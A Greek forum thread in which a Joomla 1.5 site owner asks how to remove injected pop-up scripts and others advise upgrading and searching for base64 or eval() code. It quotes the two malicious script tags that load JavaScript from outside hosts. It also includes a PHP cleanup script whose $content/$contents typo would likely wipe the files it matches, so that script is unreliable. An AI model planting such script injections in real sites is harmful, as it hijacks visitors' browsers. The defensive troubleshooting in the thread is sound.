Joomla 1.5 site hacked

[telcomfreak]

Έχω το site www.motocikleta.gr που βασίζεται σε joomla 1.5 και κάποιος μου το χακαρε με αποτέλεσμα οταν κανω κλικ σε url να εμφανίζει pop ups 

 

μέσω του view-source:http://www.motocikleta.gr/του chrome καταφερα να βρω την αιτια 

 

με κάποιο τρόπο εχουν προστεθει αυτες οι 2 γραμμες

 

<script type="text/javascript" src='http://popup.smusic.ir/pop.php?user=5555&poptimes=2'></script>   <script language="javascript" src="http://facenama.com/popup.php?u=1062461"></script>

 

 

το προβλημα ειναι οτι δεν μπορώ να εντοπίσω σε ποιο αρχειο για να τις σβησω 

 

έχετε καποια ιδεα ;;;;

[alldaynews]

Μάλλον θα πρέπει να τα δείς ενα ενα

[alou]

Κατέβασέ τα τοπικά και κάνε search & replace - εύκολα το κάνεις και με php στον server αλλά δεν το προτείνω - αλλά και να τα καθαρίσεις όλα, δεν έχεις λύσει το ουσιαστικό πρόβλημα και θα ξαναδείς το ίδιο σε λίγες μέρες.

 

Στήσε μια νέα εγκατάσταση (πιο καινούργια έκδοση) τοπικά και προσπάθησε να κάνεις migrate το περιεχόμενο εκεί και μετά σβήνεις ότι υπήρχε και βάζεις το καινούργιο.

 

Ένα php script θα μπορούσε να ψάξει σε ένα φάκελο τα αρχεία και είτε να σου επισημάνει ότι έχουν το συγκεκριμένο κομμάτι κώδικα είτε να το διαγράψει, που μάλλον δεν θα το συνιστούσα αν δεν ξέρεις τι κάνεις, θα ήταν κάπως έτσι:

//to directory pou thes na psakseis
$dir = __DIR__.'/dir_name/';
//o kwdikas pou 8es na antikatasta8ei
$searchstring = '<script>THIS CODE HAS BEEN INJECTED duh<\/script>';
//oi katalikseis twn arxeiwn pou mporei na periexetai
$extensions = array('php', 'js');
echo "Starting...<br />";
$iterator = new RecursiveDirectoryIterator($dir);

foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur) 
{
 	$ext = substr($filename, strrpos($filename, '.') + 1);
 	if (in_array($ext, $extensions)) {
 		echo "Looking contents in ".$filename."...";

 		$contents = file_get_contents($filename);
	    if(strpos($contents, $searchstring) !== false)
	    {
	    	echo "<strong>Found bad shit, backing up and cleaning... ";
                    //ftiaxnoume ena backup tou arxeiou me kataliksi .bkp kai meta to antika8istoume
		    file_put_contents($filename.'.bkp', $contents);
		    $contents = str_replace($searchstring, ' ', $content);
		    file_put_contents($filename, $contents);
		    echo "Done.</strong> Moving on to next file.<br />";
	    } else {
	    	echo "<br />";
	    }

 	}
    
}

[telcomfreak]

Τελικα χρησιμοποιησα το FNR και βρηκα το αρχειο που ειχε θεμα, το εφτιαξα και κοιτάω τώρα να δω που οφειλετε το προβλημα

[thiva7]

φίλε μου δεν έλυσες το πρόβλημα (έτσι νομίζω τουλάχιστον ) .είχα και γω τέτοιο θέμα και κάθε φορά ενώ έβρισκα το αρχείο που έκανε την ζημιά και το έσβησα , μετά από μερικές μέρες βρήκα αλλά . δεν λέω θα γίνει και με εσένα απλά να έχεις το νου σου.

[telcomfreak]

φίλε μου δεν έλυσες το πρόβλημα (έτσι νομίζω τουλάχιστον ) .είχα και γω τέτοιο θέμα και κάθε φορά ενώ έβρισκα το αρχείο που έκανε την ζημιά και το έσβησα , μετά από μερικές μέρες βρήκα αλλά . δεν λέω θα γίνει και με εσένα απλά να έχεις το νου σου.

 

Το ξέρω οτι ίσως δεν λήθικε το πρόβλημα. Εκανα κάποιες αλλαγες και περιμένω να δω αν θα ξανα γίνει . 

[Επισκέπτης]

Γιατί δεν δοκιμάζεις μια αναβάθμιση για να έχεις το κεφάλι σου ήσυχο ?

Με το περιεχόμενο δεν θα εχεις πρόβλημα, αλλά το template θα σε παιδέψει λίγο.

[telcomfreak]

Το template είναι το πρόβλημα, πρέπει να ξανά φτιαχτεί και δεν υπάρχει ο χρόνος και η γνώση ώστε να προχωρησω σε αναβάθμιση.

[anonymous-root]

Φίλε αμα δεν κάνεις αναβάθμιση στην πιο τελευταία, ενημερωμένη εκδοση, πάλι θα στο φάνε...

 

Οι παλιές εκδόσεις έχουν τρύπες, και επειδή είναι παλιές δεν ενημερώνονται.

Επίσης, δες και τα plugins, αν χρησιμοποιείς, μήπως είναι ευάλωτα.

 

Από την εμπειρία μου, ίσως να μην είναι μόνο αυτές οι 2-3 γραμμές κώδικα που λες, ίσως σου φυτέψανε και κώδικα php κάπου αλλού.

[Hambos19]

ψάξε για base64 κώδικα σε php αρχεία. 

[telcomfreak]

ψάξε για base64 κώδικα σε php αρχεία. 

 

 ??? τι εννοεις ;;;; 

[genius_13]

Εννοεί κάτι τέτοιο...

 

TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
IHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2Yg
dGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGlu
dWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRo
ZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=

Κάνε αναβάθμιση στην νεότερη έκδοση , το joomla 1.5 το σπάει για πλάκα ακόμα και ένα script kiddy μέσω tutorial 

[Xvipes]

 ??? τι εννοεις ;;;; 

Κάνε search με κάποιον editor σε όλα τα αρχεία του site και ψάξε για την λέξη base64 ή για eval() και αν βρεις μέσα εκεί κάτι σαν αυτό που έβαλε ο genius_13 κάντο paste εδώ να σου πούμε μέχρι που να σβήσεις αν δε νιώθεις familiar.

 

Α και το πιο σημαντικό!

Κάνε upgrade το cms, ήδη τώρα χάνεις περισσότερο χρόνο και κόπο